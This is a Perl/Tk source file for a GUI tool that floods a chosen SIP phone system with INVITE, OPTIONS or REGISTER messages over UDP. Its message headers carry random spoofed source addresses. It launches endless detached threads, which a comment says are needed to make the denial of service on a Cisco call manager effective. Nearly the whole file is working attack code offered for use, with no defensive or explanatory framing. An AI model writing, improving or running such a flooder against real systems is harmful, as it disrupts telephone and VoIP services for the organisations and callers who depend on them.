#!/usr/bin/perl
use threads;
use threads::shared;
use IO::Socket::INET;
use Getopt::Long qw(GetOptions);
use POSIX qw(setsid strftime);
use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use Tk::MsgBox;
require Tk::Dialog;
#use Net::RawIP;

# ------- global variables declaration ----------------

my $StopFlood = 1; # if 1 flood is impossible or stop. If 0 flood is launch and under going
my $Counter = 0;
my $dst_port = "0";
my $src_port = "0";
my $msg ="";
my $StopFlood:shared = 0;
my @SipTypeTable = ( "INVITE","OPTIONS","REGISTER");
my $SipSelect="";

#-------- GUI creation --------------------------------

my $subweb_mw = MainWindow->new(
						-title => 'SIP Flooding');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
		
$file_mb->command(
		-label=>'Launch SIP Flood',
		-command => sub{&FLOOD}
		);

$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		

#-------------DEFAULT WIDTH 79 --------------
my $FrameTOP = $subweb_mw -> Frame ();
$FrameTOP->Label(
	-text => 'IP Address of SIP Device to flood: '
	)->pack(-side => 'left');
my $TextLabel = $FrameTOP -> Entry(
	-textvariable => \$AddressToFlood
	)->pack(-side => 'left');
$FrameTOP -> pack (-side => 'top', -anchor => 'w');
#-------------DEFAULT WIDTH 79 --------------
my $FrameMiddle = $subweb_mw -> Frame ();
$FrameMiddle->Label(
	-text => 'Select SIP Message Type:            '
	)->pack(-side => 'left');
my $Lbox11 = $FrameMiddle -> Listbox (
	-height  => 3,
	-selectmode => 'single',
	);	
$FrameMiddle -> pack (-side => 'top', -anchor => 'w');
$Lbox11->insert('end', @SipTypeTable );
$Lbox11->selectionSet(2);

my $scroll = $FrameMiddle->Scrollbar(-command => ['yview', $Lbox11]);
$Lbox11->configure(-yscrollcommand => ['set', $scroll]);
$Lbox11->pack(-side => 'left', -fill => 'both', -expand => 1);
$scroll->pack(-side => 'right', -fill => 'y');
$FrameMiddle -> pack (-side => 'top', -anchor => 'w');
#-------------DEFAULT WIDTH 79 --------------
my $FrameMIDDLE4 = $subweb_mw -> Frame (-width => 40, -height => 20);

$TextWidget = $FrameMIDDLE4->Text(); 
$TextWidget->configure(-height => 20);
my $scrollbar = $FrameMIDDLE4 ->Scrollbar(-command => ['yview', $TextWidget]);

$TextWidget->configure(-yscrollcommand => ['set', $scrollbar]);
$TextWidget->pack(-side => 'left', -fill => 'both', -expand => 1);

$scrollbar->pack(-side => 'right', -fill => 'y');

$FrameMIDDLE4 -> pack (-side => 'top', -anchor => 'w');

#-------------
my $FrameMIDDLE5 = $subweb_mw -> Frame (-width => 40, -height => 15);
$FrameMIDDLE5->Button(
	-width => 79,
	-text    => 'Stop flooding',
	-command => sub {&STOP_FLOOD}
	)->pack(-side => 'bottom', -expand => 1, -fill => 'both');

$FrameMIDDLE5  -> pack (-side => 'top');



#------------ LAUNCHING THE MAIN LOOP --------
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------
sub FLOOD()
{
	@index = $Lbox11->curselection();
	$SipSelect=@SipTypeTable[@index];
	
	$StopFlood = 0;
	$TextWidget->insert ("end","\n-------------------------------------------------------------------------------\n");
	$TextWidget->insert ("end","Start flooding\n");	
	$TextWidget->update();
	$TextWidget->see ('end');

	$thr_flood = threads->new(\&LAUNCH_FLOOD); # Create the threads			
}


sub LAUNCH_FLOOD()
{
	#threads are a necessity to be performant enough to create a DoS on CUCM
	# Without them the attack is much too slow to impact the solution.
	while($StopFlood==0) 
	{		
		$thr = threads->new(\&SETPACKET); # Create the tehreads
    	$thr->detach; # Execute the whole SETPACKET subfunction and kill himself. 
	}
	
	#http://search.cpan.org/~jdhedden/threads-1.86/lib/threads.pm
}

sub SETPACKET()
{
	my $counter_flood=1000;
	my $dst_port ="5060";	
	
	my $PacketToSend = new IO::Socket::INET->new(
									PeerPort=>$dst_port,
									Proto=>'udp',
									PeerAddr=>$AddressToFlood,
									);	
									
	while($counter==0) 
	{	
		$src_port = rand(65534)+1;
		$src_addr = &RANDOMIP();
		$range = 999999;
		$CSeq = int(rand($range));
		
		$msg_invite="INVITE sip:isme_dest\@$AddressToFlood SIP/2.0\r\n";
		$msg_invite=$msg_invite."Via: SIP/2.0/UDP $src_addr;branch=z9hG4jk\r\n";
		$msg_invite=$msg_invite."To: <sip:$AddressToFlood\@$AddressToFlood>\r\n";
		$msg_invite=$msg_invite."From: <sip:isme_src\@$src_addr>;tag=qwzng\r\n";
		$msg_invite=$msg_invite."Call-ID: isme_src\@$src_addr\r\n";
		$msg_invite=$msg_invite."CSeq: $CSeq INVITE\r\n";
		$msg_invite=$msg_invite."Contact: sip:isme_src\@$src_addr\r\n";
		$msg_invite=$msg_invite."Content-Type: application/sdp\r\n";
		$msg_invite=$msg_invite."Max-forwards: 70\r\n";
		$msg_invite=$msg_invite."User-Agent: ISME v0.5\r\n";
		$msg_invite=$msg_invite."Subject: You've been flood\r\n";
		$msg_invite=$msg_invite."\r\n";				

		$msg_option="OPTIONS sip:$AddressToFlood SIP/2.0\r\n";
		$msg_option=$msg_option."Via: SIP/2.0/UDP $src_addr:9;branch=z9hG4jk\r\n";
		$msg_option=$msg_option."From: <sip:isme_src\@$src_addr>;tag=qwzng\r\n";
		$msg_option=$msg_option."To: <sip:$AddressToFlood>\r\n";
		$msg_option=$msg_option."Call-ID: isme_src\@$src_addr\r\n";
		$msg_option=$msg_option."CSeq: $CSeq OPTIONS\r\n";
		$msg_option=$msg_option."Contact: sip:isme_src\@$src_addr\r\n";
		$msg_option=$msg_option."Max-Forwards: 70\r\n";
		$msg_option=$msg_option."User-Agent: ISME v0.5\r\n";
		$msg_option=$msg_option."\r\n";

		$msg_register="REGISTER sip:$AddressToFlood SIP/2.0\r\n";
		$msg_register=$msg_register."Via: SIP/2.0/UDP $src_addr:5060\r\n";
		$msg_register=$msg_register."From: ISME <sip:isme_src\@$src_addr>;tag=qwzng\r\n";
		$msg_register=$msg_register."To: TARGET <sip:target\@$AddressToFlood>\r\n";
		$msg_register=$msg_register."Call-ID: isme-src\@$src_addr\r\n";
		$msg_register=$msg_register."CSeq: $CSeq REGISTER\r\n";
		$msg_register=$msg_register."Contact: sip:isme_src\@$src_addr\r\n";
		$msg_register=$msg_register."Allow: NOTIFY\r\n";
		$msg_register=$msg_register."Allow: REFER\r\n";
		$msg_register=$msg_register."Allow: OPTIONS\r\n";
		$msg_register=$msg_register."Allow: INVITE\r\n";
		$msg_register=$msg_register."Allow: ACK\r\n";
		$msg_register=$msg_register."Allow: CANCEL\r\n";
		$msg_register=$msg_register."Allow: BYE\r\n";
		$msg_register=$msg_register."User-Agent: ISME v0.5\r\n";
		$msg_register=$msg_register."\r\n";
		
		if ($SipSelect =~ /INVITE/)
		{
			$msg=$msg_invite;
		}
		elsif ($SipSelect =~ /OPTIONS/)
		{
			$msg=$msg_option;
		}	
		elsif ($SipSelect =~ /REGISTER/)
		{
			$msg=$msg_register;
		}				
		
		$PacketToSend->send($msg);		
		
		$counter_flood = $counter_flood -1;
		
		if ($counter_flood==0)
		{
			$counter=1;
		}
	}
	exit thread;
}

sub RANDOMIP()
{
	$range = 255;
	$iA = int(rand($range));
	$iB = int(rand($range));
	$iC = int(rand($range));
	$iD = int(rand($range));
	
	return $iA.".".$iB.".".$iC.".".$iD;
}

sub STOP_FLOOD()
{
	$StopFlood=1;
	$TextWidget->insert ("end","\n\nStop flooding\n");		
	$TextWidget->insert ("end","-------------------------------------------------------------------------------\n");
	$TextWidget->update();
	$TextWidget  -> see ('end');
}
